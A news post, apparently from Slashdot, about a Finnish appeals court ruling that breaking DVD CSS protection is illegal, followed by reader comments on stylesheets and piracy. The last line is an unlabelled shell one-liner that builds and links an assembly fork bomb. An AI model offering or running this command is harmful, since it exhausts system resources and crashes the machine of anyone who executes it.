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Finnish Appeals Court Rules Breaking CSS Illegal
Thomas Nybergh writes "Due to an appeal court decision from a couple of days back, breaking the not-very-effective CSS copy protection used on most commercial DVD-Video discs is now a criminal act in Finland (robo translated).
The verdict is contrary to what a district court thought of the same case last year when two local electronic rights activists were declared not guilty after having framed themselves by spreading information on how to break CSS. Back then, it was to the activists' benefit has CSS been badly broken and inneffective ever since DeCSS came out."
Good riddance, I say. If people took all the time they currently spent on presentation and spent it on content instead (thus letting end users decide the way to present it that best suits them), the Web wouldn't suck nearly as much as it does.
"Blague"-o-sphere, I'm looking at you...
It's not much different by nature thou - you take what you're not allowed to take (by the one owning the copyright), in many cases likely causing what's called a loss of profit in economics (if i translated it correctly).
Basically, if you haven't payed for it, you should do without! I mean, how hard can it be NOT to download a movie via bittorrent? What life-threatening consequences could it have to justify piracy?
If it weren't for the few legal uses, P2P were almost a synonym for Piracy 2 People: everyone involved supports new participants.
This is how I feel about it.
Yeah but I think Putin supports the RIAA too.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;